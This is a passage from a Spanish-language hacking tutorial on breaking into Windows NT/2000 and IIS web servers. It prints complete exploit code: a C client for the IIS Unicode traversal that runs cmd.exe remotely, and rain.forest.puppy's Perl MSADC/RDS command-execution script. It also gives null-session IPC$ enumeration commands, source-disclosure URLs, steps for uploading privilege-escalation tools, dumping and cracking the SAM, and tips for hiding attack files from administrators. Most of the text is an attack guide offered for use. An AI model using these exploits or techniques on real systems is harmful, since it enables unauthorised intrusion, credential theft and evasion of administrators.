accesible por cualquiera. La respuesta esta en el recurso (pseudo)oculto del
IPC. IPC son las siglas de Inter-Process Communication, y es usado para
las comunicaciones entre maquinas NT. Asi cuando una maquina quiere saber
determinada informacion sobre la otra... utiliza este recurso para ello.
Esto estaria muy bien si el recurso no estuviera accesible para todo el
mundo, claro.

Este recurso funciona en W2K y WNT, de la misma forma, dando la misma
informacion a cualquiera, sin necesidad de identificarse. Esto no esta nada
bien. Entre la gran informacion que es capaz de proporcionarnos nos podemos
con de nombres de usuarios validos, grupos validos, caracteristicas de las
cuentas, recursos compartidos, nombre del dominio, etc. Para que luego
algunos admistradores pongan el grito en el cielo porque a traves de IIS se
puede saber el nombre de dominio del servidor.

Todo lo que necesitaremos para explotar este recurso es un interprete de
comandos de Ms-Dos, y las clasicas herramientas Sid2User y User2Sid. El
primero te da un nombre de usuario/grupo a partir de un Sid y el segundo te
da un Sid a partir de un nombre de usuario.

Vamos a poner un ejemplo de sustraccion de informacion via IPC$. Yo nunca
hago esta tarea manualmente, prefiero ahorrar toxinas y utilizar o bien un
script que me automatice la tarea (como el userlist.pl de Mnemonix) o bien
un escaner. Sin embargo resulta imprescindible saber hacerlo via linea de
comandos. Mis comentarios van precedidos de &&.


C:\> net view \\xx.34.xx.y51
System error 5 has occurred.

Access is denied.

&&& Normal. Asi tan de golpe, pues como que le da corte. Hay que romper el
&&& hielo...

C:\>net use \\xx.34.xx.y51\ipc$ "" /user:""
The command completed successfully.

C:\>net view \\xx.34.xx.y51
Shared resources at \\xx.34.xx.y51


Nombre Sufijo Tipo Servicio
-------------------------------------------------------------------

Inetpub Disk
Enterprise Disk
Admin's home Disk Confidential
NETLOGON Disk Logon server share
Backup Disk Backups!
The command completed successfully.

&&& Ahora comenzamos a conocernos. A partir de ahi yo podria hacer un ataque
&&& de fuerza bruta con el NAT para averiguar la contrase~a de los recursos
&&& compartidos.


Aqui solo he usado IPC$ para listar sus recursos compartidos... con las
herramientas adecuadas se podria sacar mas informacion siguiendo los mismos
procedimientos.



[ 5.5 - Conclusion sobre NetBIOS ]
--------------------------------

Como ya dije anteriormente, NetBIOS solo tiene un par de bugs, que si
estan parcheados, haran dificil la entrada. De lo que nos podremos
aprovechar sera de la mala concesion de los permisos, un fallo muy tipico.



-=-



[ 6 - Vulnerabilidades WEB ]
--------------------------

Muchos de los productos que Microsoft ha dise~ado para convertir NT en un
servidor Web han tenido y tienen muchos fallos de seguridad, que le han
otorgado una nefasta fama en lo que a su seguridad concierne. No vamos a ver
todos los bugs de estos productos, ya que son muchisimos. Quiza para una
proxima version... de momento aqui teneis las vulnerabilidades mas graves
segun mi opinion de estas aplicaciones.



[ 6.1 - Vulnerabilidades en IIS ]
-------------------------------

La gran mayoria de servidores de NT corren por IIS. IIS son las siglas de
Internet Information Server, y es un pack de aplicaciones que te permiten
realizar las funciones de servidor Web, FTP, etc.

Todavia no se puede comparar con Apache... pero tampoco es demasiado malo
como servidor Web, despues de todo. Sin embargo en el tema de la seguridad
le han dado algun mazazo que otro como a continuacion se vera.

Hasta el dia de hoy han aparecido muchisimos bugs para IIS, muchos de
ellos de gran envergadura que comprometian por entera la seguridad en el
servidor afectado.

Aqui solo voy a mostrar unos pocos, los mas "utiles" e interesantes. Si
alguien tiene ganas de ver todos los bugs de IIS que se pase por las URL's
que se dan en el apendice.



[ 6.1.1 - Escapando del arbol de web: Unicode's bug ]
---------------------------------------------------

Este es un bug descubierto hace relativamente poco, y muy peligroso, ya
que este permite al atacante ejecutar programas en el servidor afectado.

Este bug afecta a las versiones 4.0 y 5.0 del IIS.

El fallo se basa en la tipica fuga del arbol de web, subiendo directorios
a~adiendo rutas con "../" para escapar del arbol de la web y entrar en
directorios de sistema, etc.

IIS no deja escalar directorios de esa manera, pero si los sustituimos
como caracteres unicode la cosa cambia totalmente... pudiendo ejecutar
cualquier programa del que sepamos la ruta, como el cmd.exe (shell de
comandos), a~adiendo usuarios y otorgandoles permisos de administrador, y
muchas mas cosas que dejo a cargo de la imaginacion del lector.

A continuacion incluyo el codigo del exploit que incubus hizo para poder
explotar dicha vulnerabilidad.

-- Comienza el codigo --
<++>xploits/iisexc.c

/* iisex iis exploit (<- nost's idea) v2
* --------------------------------------
* Okay.. the first piece of code was not really finished.
* So, i apologize to everybody..
*
* by incubus <incubus@securax.org>
*
* grtz to: Bio, nos, zoa, reg and vor... (who else would stay up
* at night to exploit this?) to securax (#securax@efnet) - also
* to kim, glyc, s0ph, tessa, lamagra and steven.
* thx to spydir :)
*/

#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int main(int argc, char **argv){
char buffy[666]; /* well, what else? I dunno how long your commands
are... */
char buf[500];
char rcvbuf[8192];
int i, sock, result;
struct sockaddr_in name;
struct hostent *hostinfo;
if (argc < 2){
printf ("try %s www.server.com\n", argv[0]);
printf ("will let you play with cmd.exe of an IIS4/5 server.\n");
printf ("by incubus <incubus@securax.org>\n\n");
exit(0);
}
printf ("\niisex - iis 4 and 5 exploit\n---------------------------\n");
printf ("act like a cmd.exe kiddie, type quit to quit.\n");
for (;;)
{
printf ("\n[enter cmd> ");
gets(buf);
if (strstr(buf, "quit")) exit(0);
i=0;
while (buf[i] != '\0'){
if(buf[i] == 32) buf[i] = 43;
i++;
}
hostinfo=gethostbyname(argv[1]);
if (!hostinfo){
herror("Oops"); exit(-1);
}

name.sin_family=AF_INET; name.sin_port=htons(80);
name.sin_addr=*(struct in_addr *)hostinfo->h_addr;
sock=socket(AF_INET, SOCK_STREAM, 0);
result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in));
if (result != 0) { herror("Oops"); exit(-1); }
if (sock < 0){
herror("Oops"); exit(-1); }
strcpy(buffy,"GET /scripts/..\%c0%af../winnt/system32/cmd.exe?/c+");
strcat(buffy,buf);
strcat(buffy, " HTTP/1.0\n\n");
send(sock, buffy, sizeof(buffy), 0);
recv(sock, rcvbuf, sizeof(rcvbuf), 0);
printf ("%s", rcvbuf);
close(sock);
}
}
<-->
-- Finaliza el codigo --



[ 6.1.2 - IISHACK ]
-----------------

Este fue uno de los bugs mas sonados para IIS, descubierto por la gente
de eEye, en junio de 1999.

Dicho bug se aprovecha de que IIS no se molesta en comprobar los limites
de ls nombres de las url para los archivos de extension .htr , .idc y .stm.

Asi pues cuando se le hace una peticion a IIS para un archivo cuya
extension sea las ya arriba mencionadas de mas de 3K, se produce el tipico
error de violacion de acceso...

Asi que eEye se puso a trabajar en un exploit para dicho bug, y hasta
una aplicacion que ayuda a usar el exploit... ademas de una version de nc
retocada, etc.

Cabe decir que durante las primeras versiones iishack (el programa que
permitia usar el exploit facilmente) no funcionaba correctamente (anti
script kiddies), por lo que los evil hax0rs quedaban frustrados... sin
embargo al cabo de unas semanas pusieron la version correcta, por lo que la
version de IISHACK que os bajeis funcionara correctamente.

Podreis encontrar el exploit en la web de eeye, www.eeye.com .



[ 6.1.3 - Hackeandolo via user anonymous ]
----------------------------------------

Este ataque es bien sencillo, para poderlo efectuarlo con exito tan solo
necesitaremos que la victima permita el usuario anonymous por ftp, y que
este permita el subir ficheros a un directorio virtual, como por ejemplo
wwwroot, para mas tarde ejecutarlas en el servidor via http.

Lo unico que deberemos subir a la carpeta virtual sera alguna aplicacion
que de nos de acceso administrador, por ejemplo Getadmin o Sechole. Ahora
probaremos la efectividad de GetAdmin.

Una vez subidos los ficheros getadmin.exe y gasys. dll haremos correr
getadmin en el servidor getadmin. Para ello vamos a suponer que hemos subido
los ficheros en la carpeta virtual wwwroot.

http://www.victima.com/wwwroot/getadmin.exe?iusr_nombredelhost

Ahora os preguntareis que como sabemos el nombre del host. Pues para eso
o bien nos valemos de la ayuda del ftp de la misma victima, o le escaneamos
con algun escaneador de vulnerabilidades, donde se nos indicara.

Una vez ejecutado getadmin ya disponemos de nuestra propia cuenta, y os
preguntareis que que hacer. Pues ahora podrias subir el cmd.exe para moveros
por el sistema, o el netcat, para luego ejecutar samdump... lo demas es puro
tramite.

Recordad que si optais por subir cmd.exe y probar moveros por el sistema
mediante el navegador, los espacios equivalen a %20, %2B equivale a un "+",
etc. Es importante esconder los ficheros utilizados para acceder al sistema,
a poder ser en un directorio de sistema con un nombre que no llame la
atencion, y esconderlos mediante el comando attrib. Esto no los hace
invisible al admin, sobre todo si ha configurado el explorador de windows
para ver tambien los ficheros ocultos. Tambien se recomienda cuando ya no
necesitarais alguna herramienta... borrarla, o camuflarla.




[ 6.1.4 - Hackeandolo via IISADMIN ]
----------------------------------

IIS trae consigo una utilidad que permite el administrar remotamente el
servicio IIS via web. Esta utilidad es por defecto accesible al usuario
anonimo, siendo necesario una cuenta con privilegios administrativos para
modificar los servicios del mismo.

Sin embargo, que nos impide probar ataques por fuerza bruta? es mas, hay
aplicaciones que nos permiten automatizar esta tarea, siendo una especia de
NAT para IIS.

Ademas, tendremos acceso a la documentacion, por lo que si alguien no
esta muy puesto en el funcionamiento de IIS, hay tiene un porron de
informacion.

Se me olvidaba, el directorio es el /iisadmin .

Recomiendo a los admins borrar este directorio sino lo utilizan, ya que
si se ha cambiado la contrase~a que venia por defecto (una contrase~a
bastante robusta) y el atacante es persistente seguro la acabara adivinando.



[ 6.1.5 - Ejecucion de comandos locales MSADC ]
---------------------------------------------

Este bug permite ejecutar comandos de NT remotamente en el servidor fruto
de nuestras inquietudes. Excelente.

El problema radica en que los comandos del lenguaje SQL permiten, si se
le incluye la barra vertical '|', incluir comandos de shell de NT.

Veamos... entonces para explotar esta vulnerabilidad necesitariamos poder
acceder a una base de datos remotamente, claro... he aqui el RDS... que mira
por donde permite la entrada de comandos VBA. Pero no solo RDS es el
responsable del bug, hay mas culpables... como el MS Jet Database Engine,
que permite tambien comandos VBA...

Ademas las peticiones a las bases de datos remotamente se hacen a traves
de ODBC, y IIS corre los comandos ODBC como system_local... oh my god!

Entonces llegamos a la conclusion de que podemos mandarle comandos de
shell de NT a una base de datos, y ella los ejecutara, con privilegios de
sistema. Pero... y si no hubiera bases de datos en el sistema?... ante todo
tranquilidad, que Microsoft nos lo hace todo mas facil instalando por
defecto una base de datos peque~ita, para que el admin vaya practicando.

Todo un acierto, si se~or.

Para explotar la vulnerabilidad usaremos el exploit de rfp, el cual esta
muy bien dise~ado y tiene bastantes opciones interesantes, como la busqueda
de bases de datos por fuerza bruta, el poder crear bases de datos explotando
otro bug por sino encuentra ninguna, etc.

A continuacion incluyo el codigo en perl.


-- Comienza el codigo --
<++>xploits/rds.pl
#!perl
#
# MSADC/RDS 'usage' (aka exploit) script
#
# by rain.forest.puppy
#
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
# beta test and find errors!

use Socket; use Getopt::Std;
getopts("e:vd:h:XRVN", \%args);

print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";

if (!defined $args{h} && !defined $args{R}) {
print qq~
Usage: msadc.pl -h <host> { -d <delay> -X -v }
-h <host> = host you want to scan (ip or domain)
-d <seconds> = delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5

Or a -R will resume a command session

~; exit;}

$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
if (!defined $args{R}){ $ret = &has_msadc; }
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
if (defined $args{N}) {&get_name; exit;}

print "Please type the NT commandline you want to run (cmd /c assumed):\n"
. "cmd /c ";
$in=<STDIN>; chomp $in;
$command="cmd /c " . $in ;

if (defined $args{R}) {&load; exit;}

print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&try_btcustmr;

print "\nStep 2: Trying to make our own DSN...";
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";

print "\nStep 3: Trying known DSNs...";
&known_dsn;

print "\nStep 4: Trying known .mdbs...";
&known_mdb;

if (defined $args{e}){
print "\nStep 5: Trying dictionary of DSN names...";
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }

print "Sorry Charley...maybe next time?\n";
exit;

##########################################################

sub sendraw { # ripped and modded from whisker
sleep($delay); # it's a DoS on the server! At least on mine...
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my @in=<S>;
select(STDOUT); close(S);
return @in;
} else { die("Can't connect...\n"); }}

##########################################################

sub make_header { # make the HTTP request
my $which, $msadc; # yeah, this is WAY redundant. I'll fix it later

if (defined $args{V}){
$msadc=<<EOT
POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetRecordset HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive

ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=2

--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen

EOT
; } else {
$msadc=<<EOT
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive

ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3

--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen

EOT
;}
$msadc=~s/\n/\r\n/g;
return $msadc;}

##########################################################

sub make_req { # make the RDS request
my ($switch, $p1, $p2)=@_;
my $req=""; my $t1, $t2, $query, $dsn;

if ($switch==1){ # this is the btcustmr.mdb query
$query="Select * from Customers where City=" . make_shell();
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}

elsif ($switch==2){ # this is general make table query
$query="create table AZZ (B int, C varchar(10))";
$dsn="$p1";}

elsif ($switch==3){ # this is general exploit table query
$query="select * from AZZ where C=" . make_shell();
$dsn="$p1";}

elsif ($switch==4){ # attempt to hork file info from index server
$query="select path from scope()";
$dsn="Provider=MSIDXS;";}

elsif ($switch==5){ # bad query
$query="select";
$dsn="$p1";}

$t1= make_unicode($query);
$t2= make_unicode($dsn);
if(defined $args{V}) { $req=""; } else {$req = "\x02\x00\x03\x00"; }
$req.= "\x08\x00" . pack ("S1", length($t1));
$req.= "\x00\x00" . $t1 ;
$req.= "\x08\x00" . pack ("S1", length($t2));
$req.= "\x00\x00" . $t2 ;
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
return $req;}

##########################################################


sub make_shell { # this makes the shell() statement
return "'|shell(\"$command\")|'";}

##########################################################

sub make_unicode { # quick little function to convert to unicode
my ($in)=@_; my $out;
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
return $out;}

##########################################################

sub rdo_success { # checks for RDO return success (this is kludge)
my (@in) = @_; my $base=content_start(@in);
if($in[$base]=~/multipart\/mixed/){
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
return 0;}

##########################################################

sub make_dsn { # this makes a DSN for us
my @drives=("c","d","e","f");
print "\nMaking DSN: ";
foreach $drive (@drives) {
print "$drive: ";
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
return 0 if $2 eq "404"; # not found/doesn't exist
if($2 eq "200") {
foreach $line (@results) {
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
} return 0;}

##########################################################

sub verify_exists {
my ($page)=@_;
my @results=sendraw("GET $page HTTP/1.0\n\n");
return $results[0];}

##########################################################

sub try_btcustmr {
my @drives=("c","d","e","f");
my @dirs=("winnt","winnt35","winnt351","win","windows");

foreach $dir (@dirs) {
print "$dir -> "; # fun status so you can see progress
foreach $drive (@drives) {
print "$drive: "; # ditto
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;

my @results=sendraw(make_header() . make_req(1,$drive,$dir));
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}

##########################################################

sub odbc_error {
my (@in)=@_; my $base;
my $base = content_start(@in);
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
return $in[$base+4].$in[$base+5].$in[$base+6];}
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}

##########################################################

sub verbose {
my ($in)=@_;
return if !$verbose;
print STDOUT "\n$in\n";}

##########################################################

sub save {
my ($p1, $p2, $p3, $p4)=@_;
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
close OUT;}

##########################################################

sub load {
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@p=<IN>; close(IN);
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems");
print "Resuming to $ip ...";

$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;

if($p[1]==1) {
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
if (rdo_success(@results)){print "Success!\n";}
else { print "failed\n"; verbose(odbc_error(@results));}}

elsif ($p[1]==3){
if(run_query("$p[3]")){
print "Success!\n";} else { print "failed\n"; }}

elsif ($p[1]==4){
if(run_query($drvst . "$p[3]")){
print "Success!\n"; } else { print "failed\n"; }}
exit;}

##########################################################

sub create_table {
return 1 if (defined $args{V});
my ($in)=@_;
$reqlen=length( make_req(2,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(2,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 1 if $temp=~/Table 'AZZ' already exists/;
return 0;}

##########################################################

sub known_dsn {
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"banner", "banners", "ads", "ADCDemo", "ADCTest");

foreach $dSn (@dsns) {
print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
print "$dSn successful\n" if (!defined $args{V});
if(run_query("DSN=$dSn")){
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}} print "\n";}

##########################################################

sub is_access {
my ($in)=@_;
return 1 if (defined $args{V});
$reqlen=length( make_req(5,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(5,$in,""));
my $temp= odbc_error(@results);
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
return 0;}

##########################################################

sub run_query {
my ($in)=@_;
$reqlen=length( make_req(3,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(3,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 0;}

##########################################################

sub known_mdb {
my @drives=("c","d","e","f","g");
my @dirs=("winnt","winnt35","winnt351","win","windows");
my $dir, $drive, $mdb;
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";

# this is sparse, because I don't know of many
my @sysmdbs=( "\\catroot\\icatalog.mdb",
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"\\system32\\certmdb.mdb",
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%

my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"\\cfusion\\cfapps\\forums\\forums_.mdb",
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
"\\cfusion\\cfapps\\security\\realm_.mdb",
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
"\\cfusion\\database\\cfexamples.mdb",
"\\cfusion\\database\\cfsnippets.mdb",
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
"\\cfusion\\brighttiger\\database\\cleam.mdb",
"\\cfusion\\database\\smpolicy.mdb",
"\\cfusion\\database\cypress.mdb",
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"\\website\\cgi-win\\dbsample.mdb",
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
); #these are just \

foreach $drive (@drives) {
foreach $dir (@dirs){
foreach $mdb (@sysmdbs) {
print ".";
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n" if
(!defined $args{V});
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
}}}}}

foreach $drive (@drives) {
foreach $mdb (@mdbs) {
print ".";
if(create_table($drv . $drive . $dir . $mdb)){
print "\n" . $drive . $dir . $mdb . " successful\n" if
(!defined {V});
if(run_query($drv . $drive . ":" . $dir . $mdb)){
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
}}}}
}

##########################################################

sub hork_idx {
print "\nAttempting to dump Index Server tables...\n";
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
$reqlen=length( make_req(4,"","") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw2(make_header() . make_req(4,"",""));
if (rdo_success(@results)){
my $max=@results; my $c; my %d;
for($c=19; $c<$max; $c++){
$results[$c]=~s/\x00//g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$d{"$1$2"}="";}
foreach $c (keys %d){ print "$c\n"; }
} else {print "Index server not installed/query failed\n"; }}

##########################################################

sub dsn_dict {
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
while(<IN>){
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
print "$dSn successful\n" if(!defined $args{V});
if(run_query("DSN=$dSn")){
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}}
print "\n"; close(IN);}

##########################################################

sub sendraw2 { # ripped and modded from whisker
sleep($delay); # it's a DoS on the server! At least on mine...
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
open(OUT,">raw.out"); my @in;
select(S); $|=1; print $pstr;
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
close(OUT); select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }}

##########################################################

sub content_start { # this will take in the server headers
my (@in)=@_; my $c;
for ($c=1;$c<500;$c++) {
if($in[$c] =~/^\x0d\x0a/){
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
else { return $c+1; }}}
return -1;} # it should never get here actually

##########################################################

sub funky {
my (@in)=@_; my $error=odbc_error(@in);
if($error=~/ADO could not find the specified provider/){
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
exit;}
if($error=~/A Handler is required/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}
if($error=~/specified Handler has denied Access/){
print "\nADO handlers denied access (they most likely are patched)\n";
exit;}}

##########################################################

sub has_msadc {
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
my $base=content_start(@results);
return if($results[$base]=~/Content-Type: application\/x-varg/);
my @s=grep(/^Server:/,@results);
if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n" }
else { print "/msadc/msadcs.dll was not found.\n";}
exit;}

##########################################################

sub get_name { # this was added last minute
my $msadc=<<EOT
POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: 126
Connection: Keep-Alive

ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=0

--!ADM!ROX!YOUR!WORLD!--
EOT
; $msadc=~s/\n/\r\n/g;
my @results=sendraw($msadc);
my $base=content_start(@results);
$results[$base+6]=~s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~<>.,?]//g;
print "Machine name: $results[$base+6]\n";}

##########################################################
# Note: This is not a good example of precision code. It is very
# redundant and has a few kludges. I have been adding features in one at
# at a time, so it has resulted in redundant functions and patched code.
# I will be rewriting it in the future, sometime. Look for the newer code
# revisions at www.technotronic.com/rfp/
# This may also be included in the NT-PTK/P. If you don't know what that
# is, just wait and see. :)
##########################################################
<-->
-- Finaliza el codigo --



[ 6.1.6 - El bug de los .idc y .ida ]
-----------------------------------

Este bug permite saber en que directorio esta montado el servidor web.
Esto es sumamente importante, sobretodo si estamos intentando sacar el
fichero SAM mediante otra vulnerabilidad, ya que si la unidad donde esta
montados los directorio web es una unidad aislada solo para esto, por
ejemplo, no se encontraran los SAM. Ademas, el que te devuelva la ruta
permite hacerte una peque~a idea sobre como tienen montados sus directorios.

Un ejemplo:

Peticion: www.servidor.com/fichero_falso.html.idc
Respuesta: "Cannot open c:\inetpub\wwwroot\fichero_falso.html.idc"

Esto nos indica que tienen los directorios de la web en la unidad de
sistema, lo que para conocer la ruta exacta de ficheros clave como los SAM,
en caso de que por cualquier determinado bug podamos acceder a ellos.



[ 6.1.7 - Viendo el codigo de los .asp y de demas ficheros ]
----------------------------------------------------------

A continuacion muestro una seria de bugs del IIS que permiten ver el
codigo de casi cualquier archivo del servidor, entre ellos los .asp.

Quiza os pregunteis que tiene de especial un . asp que no tenga otro
fichero cualquiera. La respuesta es que suele proporcionar informacion muy
jugosa, como es el caso de nombres de usuario y contrase~as... hay radica su
importancia.



[ 6.1.7.1 - El bug del punto en .asp ]
------------------------------------

Este bug no necesita demasiada explicacion... tan solo hay que a~adir un
punto en la url de la peticion del .asp para poder bajarse el codigo.

Ejemplo al canto:

http://www.maquinavictima.es/formulario.asp.



[ 6.1.7.2 - El bug del +.htr ]
----------------------------

Otro bug extremadamente dificil de explotar, consiste en a~adir detras
del archivo la extension +.htr. Ejemplo:

http://www.maquina.com/fichero.asp+.htr

Este bug funciona en archivos .ASP y .ADA.



[ 6.1.7.3 - El bug de Null.htw ]
------------------------------

IIS corriendo junto Index Server posee una vulnerabilidad que permite
ver el codigo de cualquier archivo. El bug se aprovecha del fichero Null.htw
corriendo con Index Server para dicho fin.

De manera que si queremos ver el codigo fuente de algun fichero tan solo
tenemos que seguir una url de este tipo:

http://www.maquina.es/null.htw?CiWebhitsfile=/archivo.asp%20&%20
CiRestriction=none%20&%20&CiHiliteType=full

Como habeis visto, a null.htw le pasamos como argumento "CiWebhitsfile",
que es una de las 3 variables que null.htw permite que sean definidas por el
usuario... y que no solo nos permitiran ver el codigo de los archivos del
arbol de web, sino que ademas nos permite espacar del arbol de la web y asi
poder movernos por toda la unidad... con lo que podriamos coger el SAM,
copiarlo, expandirlo, y crackearlo.

Por cierto, donde pone null.htw, podia haber cualquier nombre de archivo.
Lo que el nombre de Null quiere decir es que es un archivo nulo, que no
existe en el sistema. No hace falta que haya ficheros .htw en el sistema
para que el bug funcione.


[ 6.1.7.4 - El bug de ISM.DLL ]
-----------------------------

Este bug nos permitira ver el codigo de cualquier archivo dentro del
arbol de la web. El bug consiste en enga~ar al servidor IIS haciendole creer
que solicitamos un archivo .htr cuando en realidad no es asi.

Para explotar este bug tenemos que formularle al servidor una peticion de
este tipo:

http://www.lavictima.com/pagina.asp(aqui irian 230 "%20")pagina.asp.htr

Cabe destacar que solo se puede explotar este bug una vez por maquina, a
menos que se reinicie el servicio web, de manera que ISM.DLL se volveria a
cargar en memoria.



[ 6.1.7.5 - El bug de Showcode y Codebrws ]
-----------------------------------------

Estos dos archivos de tipo .asp son visores de archivos, los cuales no se
instalan por defecto en IIS; sin embargo si el Administrador los instalara,
para practicar con ellos o lo que sea, el instruso los puede aprovechar para
ver el codigo de cualquier fichero.

Esto es asi debido a que estos ficheros no ponen ninguna restriccion para
determinar que archivos puede o no puede acceder, de manera que si el
